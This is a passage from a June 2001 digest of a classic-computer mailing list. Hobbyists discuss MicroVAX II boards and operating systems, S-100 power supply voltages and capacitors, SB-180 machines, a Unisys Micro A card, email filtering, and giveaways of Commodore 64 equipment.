Subject: [classiccmp] on subject line In-Reply-To: <86.af0f74a.284ba471@aol.com> from "LFessen106@aol.com" at "Jun 3, 1 10:32:17 am" Message-ID: <200106031448.HAA11774@stockholm.ptloma.edu> > And what're all you ClassicCmpers doing reading e-mail on Windows PCs and > Macs anyhow? How embarassing. :-) Not me, baby. I'm reading it on a Commodore 128. :-) (Well, okay, connected to an Apple Network Server 500 but it's a classic console! :-P) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- The most valuable antiques are old friends. -------------------------------- From vaxman at qwest.net Sun Jun 3 09:41:59 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:04:11 2005 Subject: S-100 Bus Voltages In-Reply-To: <4.3.2.7.0.20010603081611.01d18710@pc> Message-ID: Actually, modern ceramic caps are very close to tantalums in terms of performance, and are approaching the size of tantalums. Those of you who are engineers (or am I the only one?) should investigate ceramics before plopping a half dozen tantalums onto a board... Clint On Sun, 3 Jun 2001, John Foust wrote: > At 10:59 PM 6/2/01 -0500, Eric Dittman wrote: > >The boards had several tantalum capacitors. > > I thought I'd recently heard a news story that > claimed that 80% of the world's supply comes from > a single mine in the Australian outback, but that > may only be a slight exaggeration: > > http://www.cellular.co.za/technologies/phones/tantalum.htm > > which leads to tantalum ore poaching: > > http://www.ebnews.com/digest/story/OEG20010427S0086 > > Perhaps a richer source of ore is old computers. > > - John > > > From ajp166 at bellatlantic.net Sun Jun 3 10:43:51 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:11 2005 Subject: [classiccmp] on subject line Message-ID: <004201c0ec44$00d7d550$72799a8d@ajp166> >And what're all you ClassicCmpers doing reading e-mail on Windows PCs and >Macs anyhow? How embarassing. :-) > >-brian. Simple, other than PCs the only netable machines I have are, Vaxen, PDP-11s. Of those the PDP-11s really dont have a OS that supports IP networking and the vaxen are all serial consoles (no graphics). Doable on vaxen but not practical. I might do it on a CP/M crate but then I need a PC to run PPOE to serial gateway. Its a matter of expediency and general need for modern compatability even if I hate PCs in general. Allison From jkunz at unixag-kl.fh-kl.de Sun Jun 3 07:19:15 2001 From: jkunz at unixag-kl.fh-kl.de (jkunz@unixag-kl.fh-kl.de) Date: Sun Feb 27 19:04:11 2005 Subject: HP9000 712 RAM (was: Re: Thinking and work (was: Lisas)) In-Reply-To: Message-ID: <200106031219.f53CJFu00717@unixag-kl.fh-kl.de> On 3 Jun, Lists wrote: [HP 712/80] > What sort of RAM does this thing take? I'm pretty sure it's nothing as > standard as normal SIMMS. It looks like ordinary PS/2 SIMM RAM, but it uses an other pinout. You can not use standard PS/2 RAM in a HP9000 712. -- tschuess, Jochen Homepage: http://www.unixag-kl.fh-kl.de/~jkunz From jkunz at unixag-kl.fh-kl.de Sun Jun 3 07:36:19 2001 From: jkunz at unixag-kl.fh-kl.de (jkunz@unixag-kl.fh-kl.de) Date: Sun Feb 27 19:04:11 2005 Subject: Need help :) MicroVax-II In-Reply-To: <5.1.0.14.2.20010603035238.00a19d40@mail.zipcon.net> Message-ID: <200106031236.f53CaJp00737@unixag-kl.fh-kl.de> On 3 Jun, Geoff Reed wrote: > I just inherited a pair of MV-II . they are mostly complete, I seem to be > missing the console serial adaptor with the switches for one of them... That is bad. I dont know if it is possible to operate the KA630 CPU board without the bulkhead. What type of enclosure do you have? How much RAM? Have a look at http://www.vaxarchive.org/ for further hardware information. > also does anyone have a MV-II ethernet board? I have several of them, in my several QBus VAXen and PDP11s. :-) What you want is a DEC DELQA card, Type M7516 or M3127. > or any other interesting MV-II boards :) Depends on your needs. Perhaps a QDSS accelerated framebuffer? :-) > I'd love to get these up and running. I got a SCSI card > fo unknown manufacture (haven't id'd it yet) Oh! You are in BIG luck! These cards are rare and one of the most wanted parts for QBus machines. > and am hoping to get this > beastie up and running soon :) what OS can I run on it??? VMS, Ultrix, NetBSD, 4.3BSD-Tahoe, 4.3BSD-Reno, ???. My recomendation is NetBSD, as it is my prefered OS. -- tschuess, Jochen Homepage: http://www.unixag-kl.fh-kl.de/~jkunz From cmcmanis at mcmanis.com Sun Jun 3 11:22:18 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:11 2005 Subject: Need help :) MicroVax-II In-Reply-To: <5.1.0.14.2.20010603035238.00a19d40@mail.zipcon.net> Message-ID: <5.0.0.25.2.20010603091717.00abba20@208.226.86.10> Nice catch, most people get the VAX and don't get the SCSI card :-) If its a "well known" SCSI card then you are set and can do many interesting things with your VAX. Even if it is less well known you are probably ok. First thing to do is identify what is in your VAX, to do that you need to make a list of the module numbers on the boards and note carefully where they are connected. Then you need to figure out what kind of chassis your VAX is in so that folks like me can help in getting you bits like the console bulkhead that will work in your chassis. Several operating systems work on it, Ultrix, NetBSD, VMS, BSD 4.3. Some are easier to get running than others... VMS certainly has the most languages available for it, and NetBSD the most applications. Check out the House of VAX at for information on what all the symbols on the console bulkhead mean. --Chuck At 03:54 AM 6/3/01 -0700, you wrote: >I just inherited a pair of MV-II . they are mostly complete, I seem to be >missing the console serial adaptor with the switches for one of them... >also does anyone have a MV-II ethernet board? or any other interesting >MV-II boards :) I'd love to get these up and running. I got a SCSI card >fo unknown manufacture (haven't id'd it yet) and am hoping to get this >beastie up and running soon :) what OS can I run on it??? > From KenzieM at sympatico.ca Sun Jun 3 11:30:07 2001 From: KenzieM at sympatico.ca (Mike Kenzie) Date: Sun Feb 27 19:04:11 2005 Subject: [classiccmp] on subject line References: Message-ID: <003001c0ec4a$74f3be80$0101a8c0@sympatico.ca> ----- Original Message ----- From: "Brian Chase" To: Sent: Sunday, June 03, 2001 2:57 AM Subject: Re: [classiccmp] on subject line > On Sat, 2 Jun 2001, R. D. Davis wrote: > > > Greetings, > > > > Is it possible for the mailing list software used for this list to > > prepend something like "[classiccmp]" to the subject lines for all of > > the messages on this list like many other mailing lists have? Since > > this is a somewhat high volume list, it would make it a heck of a lot > > easier to sort through e-mail messages. :-) filter on the from line and it works OK with outlook. > Using procmail to filter the messages into a seperate folder for pine > works rather well for me. (Well, this is a Unix based system though). > Can't modern GUI e-mail readers filter messages based on the fact that the > header entries for "To:" and "Reply-To:" contain classiccmp@classiccmp.org? > > And what're all you ClassicCmpers doing reading e-mail on Windows PCs and > Macs anyhow? How embarassing. :-) I still run 1 machine with win95 for games and my office connection, and 1 NT machine for mail. These machines are 'stable' because I hate playing with them and leave them alone. All the other machines/partitions get played with and may not be in working condition when needed. From healyzh at aracnet.com Sun Jun 3 11:50:40 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:11 2005 Subject: [classiccmp] on subject line In-Reply-To: <004201c0ec44$00d7d550$72799a8d@ajp166> Message-ID: >Simple, other than PCs the only netable machines I have are, Vaxen, >PDP-11s. >Of those the PDP-11s really dont have a OS that supports IP networking >and >the vaxen are all serial consoles (no graphics). Doable on vaxen but not >practical. You can use MAIL on the VAXen, as well as some fairly nice 3rd party apps. I do email all the time at home on a VT420 connected to a DECserver, talking to my one OpenVMS system which functions as a private email server among other things. One a serial console you can also read news and surf the net quite easily. Once you add DECwindows you've really got it nice, especially if you step up to something like a PWS433au, which is quite reasonably priced these days. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From healyzh at aracnet.com Sun Jun 3 11:55:15 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:11 2005 Subject: Need help :) MicroVax-II In-Reply-To: <001f01c0ec33$a0631870$72799a8d@ajp166> Message-ID: >You need a DEQNA (old board but works) or DELQA newer board. If you're going to be running OpenVMS you'll want a DELQA, as the older board isn't supported past something like VMS 5.5. I really recommend OpenVMS for the system, as even V7.2 will rock on it, while UNIX will probably feel very sluggish to you if you're used to modern UNIX systems. I'm used to modern OpenVMS systems, and I've no problem with using a MicroVAX for OpenVMS. BTW, which chassis did they come in? Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From fernande at internet1.net Sun Jun 3 11:59:29 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:11 2005 Subject: Need help :) MicroVax-II References: <001f01c0ec33$a0631870$72799a8d@ajp166> Message-ID: <3B1A6CF1.ED647B82@internet1.net> Geoff, I have a spare DEQNA if you want it for shipping and packing. I can't veryify if it works or not, However. I am new to the VAX/PDP11 world. Lack of Organization and time is keeping me from my projects, so giving you a board will help me out as well..... less stuff to organize :-) Chad Fernandez Michigan, USA ajp166 wrote: > > From: Geoff Reed > > >I just inherited a pair of MV-II . they are mostly complete, I seem to > be > >missing the console serial adaptor with the switches for one of them... > >also does anyone have a MV-II ethernet board? or any other interesting > > You need a DEQNA (old board but works) or DELQA newer board. From fernande at internet1.net Sun Jun 3 12:01:27 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:11 2005 Subject: [classiccmp] on subject line References: Message-ID: <3B1A6D67.CDF074C4@internet1.net> Brian, What's ClassicCmpers? Classic Campers ?? :-) I don't even own a tent! :-) Chad Fernandez Michigan, USA Brian Chase wrote: > And what're all you ClassicCmpers doing reading e-mail on Windows PCs and > Macs anyhow? How embarassing. :-) > > -brian. From edick at idcomm.com Sun Jun 3 12:27:57 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:11 2005 Subject: S-100 Bus Voltages References: Message-ID: <001901c0ec52$87f49380$9cc762d8@idcomm.com> I'm not sure what you mean by "performance" with respect to these cap's, but the reason we used to justify the somewhat more costly tantalum cap's back in the '80's was that their frequency response was much better than electrolytics, going pretty far into the range normally associated with ceramic cap's, yet they would perform as well as the comparable values of electrolytics at lower frequencies. That meant one didn't have to put a small ceramic in parallel with a larger electrolytic in dense structures like DRAM arrays, which, with 3 supplies, and lots of noise, along with pretty significant currents, switching at relatively high speeds, required both high-frequency response compatible with the sequences of control strobes at least the three major ones, (nRAS, nCAS, nWE) not considering the addresses and their associated muxes, all switching within a tyipically 40-60 ns window. The electrolytic's function was to hold the supply up so the power-to-ground surge didn't cause problems as devices were suddenly selected, while the ceramic's function was to pick up the slack while the electrolytic figured out what to do. I remember supply fluctuations over a volt in magnitude in some memory circuits. That didn't make for high reliability. As for the S-100 supply spec, the 8-volt spec is a minimum because the forward voltage of the regulators typical in the '80's was over 2 volts. Likewise, the +/- 16 volt spec called out in the standard is a minimum for the same reason, and, in fact, because some circuits used Zener regulators or the like, with fairly low dropout, to supply ananlog circuits requiring bipolar 15 volt supplies. It's not unusual to see the no-load voltages on these supplies to look like 10 volts for the +8 and 21-22 volts for the bipolar 16 volt supplies. I always preferred to stay close to the lower limits, but since then-current design practice was to design transformers such that they produced a 10% voltage drop from no-load to full load, and since many vendors pushed that to 15 or even 20%, the >20 volt values were not uncommon. Even my own designs tended to look closer to 10 volts on the +8 in order to save on cost and size. Of course my stuff was not with custom designed transformers, and COTS products tended to have 18VCT and 36VCT secondaries. BTW, the cardcage protects you from stupidly plugging a board in backward, which I recently did on motherboard that was on the benchtop with no cage. That can lead to real problems (smoke!), so be careful. I did that once before, back in the '70's and a piece of an IC hit me right between the eyes when the thing burst. That was with a regulated supply to the bus, (not S-100) so there was no regulator to protect the circuits. It is, by the way, a good idea to solder a hefty diode conducting from regulator output to regulator input on S-100 boards, to protect the regulators against the occasional situation during power-down, when stored charge in the load holds the voltage up while loads elsewhere in the system pull the regulator's input down. When that happens, next time you power the system up, you may no longer have a regulator. These diodes would not have cost much to include on the PCB, but the combination of cost and space made folks leave them out. Dick ----- Original Message ----- From: "Clint Wolff (VAX collector)" To: Sent: Sunday, June 03, 2001 8:41 AM Subject: Re: S-100 Bus Voltages > > Actually, modern ceramic caps are very close to tantalums > in terms of performance, and are approaching the size of > tantalums. Those of you who are engineers (or am I the > only one?) should investigate ceramics before plopping > a half dozen tantalums onto a board... > > Clint > > On Sun, 3 Jun 2001, John Foust wrote: > > > At 10:59 PM 6/2/01 -0500, Eric Dittman wrote: > > >The boards had several tantalum capacitors. > > > > I thought I'd recently heard a news story that > > claimed that 80% of the world's supply comes from > > a single mine in the Australian outback, but that > > may only be a slight exaggeration: > > > > http://www.cellular.co.za/technologies/phones/tantalum.htm > > > > which leads to tantalum ore poaching: > > > > http://www.ebnews.com/digest/story/OEG20010427S0086 > > > > Perhaps a richer source of ore is old computers. > > > > - John > > > > > > > > From rigdonj at intellistar.net Sun Jun 3 14:58:32 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:11 2005 Subject: SB-180? Message-ID: <5.1.0.14.1.20010603155632.00a99190@mailhost.intellistar.net> I've been talking to another SB-180 owner and it's rekindled my interest in them. I'm wondering how many other SB-180 owners there are on the list? Does anyone have any interesting stories to tell about them? Joe From jss at ou.edu Sun Jun 3 15:08:50 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:11 2005 Subject: Problems with posts? (was: Altair 8800 front panel lamps In-Reply-To: <15129.46366.664923.940310@phaduka.neurotica.com> References: <200106030304.f5334X431823@daemonweed.reanimators.org> <15129.46366.664923.940310@phaduka.neurotica.com> Message-ID: <991598930.3b1a995244f1c@email.ou.edu> Quoting Dave McGuire : > Yup...newfs is the one magical program that can solve all of > Windows' problems. Yup, Windoze isn't all that bad; you can at least download FreeBSD with it. -- Jeffrey S. Sharp jss@ou.edu From vance at ikickass.org Sun Jun 3 15:13:34 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:11 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps In-Reply-To: <5.0.0.25.2.20010602195039.025e7560@208.226.86.10> Message-ID: I think mine uses the US-ASCII characterset. Peace... Sridhar On Sat, 2 Jun 2001, Chuck McManis wrote: > I'm guessing it is these two. I don't know what mail client Allison uses > but perhaps when it sees the request for the 'x-user-defined' character set > it freaks. Most MIME clients put ISO_LATIN1 there and they are not bothersome. > > Content-Type: text/plain; charset=x-user-defined > Content-Transfer-Encoding: 7bit > > This reminds me yet again of a what a _wonderful_ hack to Majordomo, > Listserve, or what ever that would take the message submission and > _reformat it_ into plain text regardless of how it was sent. Then send it > to the list that way (and strip off attachments etc) That is the kind of > list I want to subscribe to because even when a newbie screws up (and > Marvin isn't one, he just has some interesting headers) no one suffers. > > --Chuck > > At 05:09 PM 6/2/01 -0700, you wrote: > > >Allison > > > >I have not a clue what you are talking about. Viewing my messages in a > >number of ways including the page source shows NOTHING out of the ordinary. > >If you have a problem, kindly include a suggested solution. I see NOTHING > >any different from my post than any other posts on this board. > > > > > From vance at ikickass.org Sun Jun 3 15:15:46 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:11 2005 Subject: Unisys "Micro A" In-Reply-To: <3B19C45F.1D2FE567@internet1.net> Message-ID: That would be my guess as well. IBM put out a S/390 processor-on-a-PCI once (I have two myself). Peace... Sridhar On Sun, 3 Jun 2001, Chad Fernandez wrote: > John, > > My guess would be a PC sized version of a Unisys A series Mainframe. I > don't know anything about them..... just that they exist. You might > inquire in the Unisys newsgroup. > > Chad Fernandez > Michigan, USA > > John Allain wrote: > > > > Unisys "Micro A" > > Anybody know about such a system? > > > > I took in a stray cat system a few months ago, started > > parting it out, saw something interesting, then put it all > > back together again. Today I booted it up (fits on 15A, > > hurrah!) and determined the following: > > > > Base system: > > Intel mobo w/8MB > > Adaptec SCSI > > OS/2 on SCSI disk > > internal SCSI tape (QIC) > > external SCSI tape (DAT) > > VGA card > > > > Add-Ons: > > Unisys "Micro A" CPU card (perhaps DC113) > > daughter memory card > > two multiplexed serial cards > > Another Adaptec SCSI card, > > apparently for the Uni half of the system. > > Another Internal SCSI drive > > two external drives > > > > Surprized it actually does stuff. > > The "Micro A" system is controlled by three OS/2 Apps: > > Admin, ODT 1, > > and SCS (System Control Subsystem) (nice name) (huh?). > > ODT 1 is a cryptic CLI system, > > SCS is a boot console for the HW > > > > Anybody got any beans to spill on this? > > is it just a big printer controller? > > I noticed the Micro A is apparently microcontrolled. > > What was it sold for? > > > > John A. > From jss at ou.edu Sun Jun 3 15:25:35 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:11 2005 Subject: [classiccmp] on subject line In-Reply-To: References: Message-ID: <991599935.3b1a9d3fda47e@email.ou.edu> Quoting Brian Chase : > And what're all you ClassicCmpers doing reading e-mail on Windows > PCs and Macs anyhow? Well, I use my university's webmail system, as I like being able to read my mail from anywhere. It's got only basic features, but it seems to be good at them. That said, I typically am reading it within an IE window on a Windows box; as much as I hate Windows and Micro$oft, I have yet to experience an acceptable (to me) browser on my FreeBSD machine (though Konqueror is looking pretty good these days). Plus, I at least have to keep Windows around for my beloved Everquest... Oh dear, here come the flames! -- Jeffrey S. Sharp jss@ou.edu From ajp166 at bellatlantic.net Sun Jun 3 15:40:22 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:11 2005 Subject: SB-180? Message-ID: <008201c0ec6e$28e025f0$72799a8d@ajp166> I have one with the SCSI/com card. There is also Uzi unix for the SB180, on the www.psyber.com/~tcj site. Allison -----Original Message----- From: joe To: ClassiComp Date: Sunday, June 03, 2001 4:31 PM Subject: SB-180? > I've been talking to another SB-180 owner and it's rekindled my interest >in them. I'm wondering how many other SB-180 owners there are on the >list? Does anyone have any interesting stories to tell about them? > > Joe > From claudew at videotron.ca Sun Jun 3 16:18:12 2001 From: claudew at videotron.ca (Claude.W) Date: Sun Feb 27 19:04:11 2005 Subject: C64/Vic20 Books - get them before I trash them Message-ID: <001f01c0ec72$b2101840$0200a8c0@gamerclaude> Hi again from Montreal Well these books are going to garbage (tommorow) if no takers, there are all pretty much from 1983 and such... Micro Wars on the Commodore 64 More than 32 Basic Programs for the Commodore64 Computer (no disk - could be somewhere around here) The Users Guide to Commodore 64 & Vic 20 computers, software and peripherals (By the editors of Consumer Guide) Claude See more of the stuff I have to giveaway/trade: http://computer_collector.tripod.com or http://members.tripod.com/computer_collector/ From jfoust at threedee.com Sun Jun 3 15:58:08 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:11 2005 Subject: on subject line In-Reply-To: <200106030334.f533Y9R32648@daemonweed.reanimators.org> References: <"R. D. Davis"'s message of "Sat, 2 Jun 2001 21:41:55 -0400 (EDT)"> Message-ID: <4.3.2.7.0.20010603155707.01df86a0@pc> At 08:34 PM 6/2/01 -0700, you wrote: >BTW, the [classiccmp] thing was tried, hated (I told my mail reader to >strip the tag from the displayed subjects so I wouldn't have to look >at it; other people squawked), and turned off. Are there e-mail readers that can filter on subject line but not on the contents of the "from" line? - John From claudew at videotron.ca Sun Jun 3 16:30:49 2001 From: claudew at videotron.ca (Claude.W) Date: Sun Feb 27 19:04:11 2005 Subject: Who needs or wants some C64 computers, 1541s drives, 1541 II drives? Message-ID: <002901c0ec74$756ccd00$0200a8c0@gamerclaude> Hi Still cleaning up here (seems I do this everyweek now) and noticed I have way too many.... C64s (tan version) with power supply 1541 Disk Drives 1541 II Disk Drives with power supply C64 Programmers reference guides I threw out all the bad shape ones, gave some away and still have way too many...about 4 of each... All of these are clean and work. They could be going to dump this week if no takers but it's ashame cause they are fine shape... See more of the stuff I have to giveaway/trade: http://computer_collector.tripod.com or http://members.tripod.com/computer_collector/ Claude From jss at ou.edu Sun Jun 3 16:29:02 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:11 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: References: Message-ID: <991603742.3b1aac1e56fd7@email.ou.edu> Well, I just recently hauled the VAX 8600 lot from Austin, Texas to storage here in Oklahoma. Despite several problems and setbacks with the rental truck, the trip was successful. I have not had time to make anything other than a quick visual inventory of what I got, but I will present a list here of what I think my lot contained. (*) VAX 8600 system. This 4-cabinet monster took up at least half of one side of the 24-foot truck. Man, it is one beautiful machine though. Mark my words: someday, I *will* turn it on! (*) PDP-11/44 CPU. I just picked up a /44 a couple of weeks ago, so this will make a great source of parts for it. (*) Two RL02 drives, to be added to my /44 system and/or used for parts for the VAX's console disk RL02. (*) At least ten RA81 drives. Most of these were marked 'Bad HDA', but they hopefully can still be used for parts. I'm quite sure I can find a place for the rest. (*) Two Kennedy 9300 9-track tape units. I'll most likely be keeping the above items. The items below will be sold (on eBay if no one pleads a good case on this list) to recover some of the cost of the trip. I'm not into this for profit, but breaking even is allowed :-). (*) A Stardent machine (may already be spoken for). (*) Two HP Apollos (*) A machine that looks like the Apollos, but is a little different (*) Two MicroVAXish machines in dual rackmount BA23s (*) A MicroVAXish machine in a BA123 (*) Some emulex rackmount units containing 5.25" drives (*) A Sun SparcServer 490 The following were left behind to be scrapped :-(. I wish I could have saved them, but I simply ran out of room in the truck. (*) Two big printers (*) MIPS M2000 -- Jeffrey S. Sharp jss@ou.edu From bdc at world.std.com Sun Jun 3 16:31:35 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:11 2005 Subject: on subject line In-Reply-To: <4.3.2.7.0.20010603155707.01df86a0@pc> Message-ID: On Sun, 3 Jun 2001, John Foust wrote: > At 08:34 PM 6/2/01 -0700, you wrote: > > BTW, the [classiccmp] thing was tried, hated (I told my mail reader to > > strip the tag from the displayed subjects so I wouldn't have to look > > at it; other people squawked), and turned off. > > Are there e-mail readers that can filter on subject line > but not on the contents of the "from" line? I don't know, but if mail readers exist which can't filter mail based on common header lines then they should either be fixed or they shouldn't be used :-) -brian. From rigdonj at intellistar.net Sun Jun 3 17:03:05 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:11 2005 Subject: Problems with posts? (was: Altair 8800 front panel lamps In-Reply-To: <991598930.3b1a995244f1c@email.ou.edu> References: <15129.46366.664923.940310@phaduka.neurotica.com> <200106030304.f5334X431823@daemonweed.reanimators.org> <15129.46366.664923.940310@phaduka.neurotica.com> Message-ID: <5.1.0.14.1.20010603180154.00a99040@mailhost.intellistar.net> At 03:08 PM 6/3/01 -0500, jeff wrote: >Quoting Dave McGuire : > > Yup...newfs is the one magical program that can solve all of > > Windows' problems. > >Yup, Windoze isn't all that bad; Yes it is! > you can at least download FreeBSD with it. CuteFTP works a LOT better! Joe From rigdonj at intellistar.net Sun Jun 3 17:04:06 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:11 2005 Subject: SB-180? In-Reply-To: <008201c0ec6e$28e025f0$72799a8d@ajp166> Message-ID: <5.1.0.14.1.20010603180338.00a985a0@mailhost.intellistar.net> At 04:40 PM 6/3/01 -0400, you wrote: >I have one with the SCSI/com card. > >There is also Uzi unix for the SB180, on the www.psyber.com/~tcj >site. OK but why ruin a GGOD thing? Joe >Allison > >-----Original Message----- >From: joe >To: ClassiComp >Date: Sunday, June 03, 2001 4:31 PM >Subject: SB-180? > > > > I've been talking to another SB-180 owner and it's rekindled my >interest > >in them. I'm wondering how many other SB-180 owners there are on the > >list? Does anyone have any interesting stories to tell about them? > > > > Joe > > From rigdonj at intellistar.net Sun Jun 3 17:05:18 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:11 2005 Subject: on subject line In-Reply-To: <4.3.2.7.0.20010603155707.01df86a0@pc> References: <200106030334.f533Y9R32648@daemonweed.reanimators.org> <"R. D. Davis"'s message of "Sat, 2 Jun 2001 21:41:55 -0400 (EDT)"> Message-ID: <5.1.0.14.1.20010603180435.00a9a050@mailhost.intellistar.net> At 03:58 PM 6/3/01 -0500, you wrote: >At 08:34 PM 6/2/01 -0700, you wrote: > >BTW, the [classiccmp] thing was tried, hated (I told my mail reader to > >strip the tag from the displayed subjects so I wouldn't have to look > >at it; other people squawked), and turned off. > >Are there e-mail readers that can filter on subject line >but not on the contents of the "from" line? I'm not sure what you're getting at but you can tell Eudora what lines to filter on. Joe >- John From uban at ubanproductions.com Sun Jun 3 17:07:02 2001 From: uban at ubanproductions.com (Tom Uban) Date: Sun Feb 27 19:04:11 2005 Subject: SB-180? In-Reply-To: <5.1.0.14.1.20010603155632.00a99190@mailhost.intellistar.ne t> Message-ID: <3.0.5.32.20010603170702.009e6220@ubanproductions.com> I have one, but it hasn't seen the outside of the box it is in in quite some time... --tom At 03:58 PM 6/3/01 -0400, you wrote: > I've been talking to another SB-180 owner and it's rekindled my interest >in them. I'm wondering how many other SB-180 owners there are on the >list? Does anyone have any interesting stories to tell about them? > > Joe > > > From witchy at vorbis.demon.co.uk Sun Jun 3 17:17:32 2001 From: witchy at vorbis.demon.co.uk (Adrian Graham) Date: Sun Feb 27 19:04:11 2005 Subject: Digest #618 Message-ID: Before I reboot this frickin' machine *again* and try to reply to digest 618 about Lisas and mail readers and such I'd just like to ask the panel what they think about being able to leave a pretty standard machine switched on for *3 days* and watch micro$oft stuff fail time and time again while Macromedia apps keep working.... Completely bloody off topic, I'll admit, but a right pain in the arse too. cheers adrian/witchy www.binarydinosaurs.co.uk - the Online Computer Museum 0:OK, 0:1 From rigdonj at intellistar.net Sun Jun 3 17:23:03 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:11 2005 Subject: SB-180? In-Reply-To: <3.0.5.32.20010603170702.009e6220@ubanproductions.com> References: <5.1.0.14.1.20010603155632.00a99190@mailhost.intellistar.ne t> Message-ID: <5.1.0.14.1.20010603181529.00aa1ec0@mailhost.intellistar.net> At 05:07 PM 6/3/01 -0500, Tom wrote: >I have one, but it hasn't seen the outside of the box it is in in >quite some time... I was given two of them recently. The guy that had them said that they hadn't been out of the closet for > 10 years. He was amazed that anyone wanted them! Unfortunately I haven't had the time to play with it as much as I would like. FWIW Dual 80 track floppy drives, 256k memory and 32 (I think) Mb hard drive. Quite a nice machine for playing with CPM. Does anyone know what's involved in adding the speech option? Also can this run four 3 1/2"/5 1/4" floppy drives AND four 8" drives or only a total of 4 drives? The manual is vague. My guess is that only a total of four floppy drives are allowed. Joe Joe >--tom > >At 03:58 PM 6/3/01 -0400, you wrote: > > I've been talking to another SB-180 owner and it's rekindled my interest > >in them. I'm wondering how many other SB-180 owners there are on the > >list? Does anyone have any interesting stories to tell about them? > > > > Joe > > > > > > From sieler at allegro.com Sun Jun 3 17:27:34 2001 From: sieler at allegro.com (Stan Sieler) Date: Sun Feb 27 19:04:11 2005 Subject: Unisys "Micro A" In-Reply-To: <03cd01c0ebd8$983d6e80$21fe54a6@ibm23xhr06> Message-ID: <3B1A5766.26033.1AE31CD7@localhost> Re: > Unisys "Micro A" > Anybody know about such a system? I think this is one of the PC-based A-series "emulator" machine. The newer ones are some kind of "Unisys ClearPath", and are very expensive. If it can boot MCP, I'd be very interested in it! > I took in a stray cat system a few months ago, started > parting it out, saw something interesting, then put it all > back together again. Today I booted it up (fits on 15A, > hurrah!) and determined the following: > > Base system: > Intel mobo w/8MB (** 80386, sorry **) > Adaptec SCSI > OS/2 on SCSI disk > internal SCSI tape (QIC) > external SCSI tape (DAT) > VGA card > > Add-Ons: > Unisys "Micro A" CPU card (perhaps DC113) > daughter memory card > two multiplexed serial cards > Another Adaptec SCSI card, > apparently for the Uni half of the system. > Another Internal SCSI drive > two external drives > > Surprized it actually does stuff. > The "Micro A" system is controlled by three OS/2 Apps: > Admin, ODT 1, > and SCS (System Control Subsystem) (nice name) (huh?). > ODT 1 is a cryptic CLI system, > SCS is a boot console for the HW > > Anybody got any beans to spill on this? > is it just a big printer controller? > I noticed the Micro A is apparently microcontrolled. > What was it sold for? > > John A. > > > Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From rigdonj at intellistar.net Sun Jun 3 17:50:36 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:11 2005 Subject: Can anyone help with a ICS Remote Monitor and Control Unit? Message-ID: <5.1.0.14.1.20010603184227.00aa1d20@mailhost.intellistar.net> Can anyone give me any information about the unit above? It's made by ICS Electronics Corporation and it's a model 2351. It looks like it's made to receive serial data commands to auctuate relays and sense digital inputs. One port on the back in marked "Local Term" and two other 50 connectors marked "Digital Inputs and Relay Outputs". It looks like it might be fun to play with if I can get it working. ICS won't help. They say that it's too old. (I'll remember that next time my company wants to order something from them!) Joe From fmc at reanimators.org Sun Jun 3 17:43:11 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:11 2005 Subject: on subject line In-Reply-To: John Foust's message of "Sun, 03 Jun 2001 15:58:08 -0500" References: <"R. D. Davis"'s message of "Sat, 2 Jun 2001 21:41:55 -0400 (EDT)"> <4.3.2.7.0.20010603155707.01df86a0@pc> Message-ID: <200106032243.f53MhBu27539@daemonweed.reanimators.org> John Foust wrote (after me): > >BTW, the [classiccmp] thing was tried, hated (I told my mail reader to > >strip the tag from the displayed subjects so I wouldn't have to look > >at it; other people squawked), and turned off. > > Are there e-mail readers that can filter on subject line > but not on the contents of the "from" line? Probably so, but that's not my problem because I don't use them. If it's your problem, maybe you ought to try to do something about it, like bothering the vendor or finding a different e-mail reader that actually does the sort of filtering you need done. And yes, I've got a strong opinion about this. Your computer and its software are tools; if they're not doing what you need done, maybe you need to figure out what you need done and go find tools that do those things, or go harangue the makers of your tools 'til they come up with new tools that do those things, or make new tools that do those things. -Frank McConnell From dittman at dittman.net Sun Jun 3 18:03:47 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun 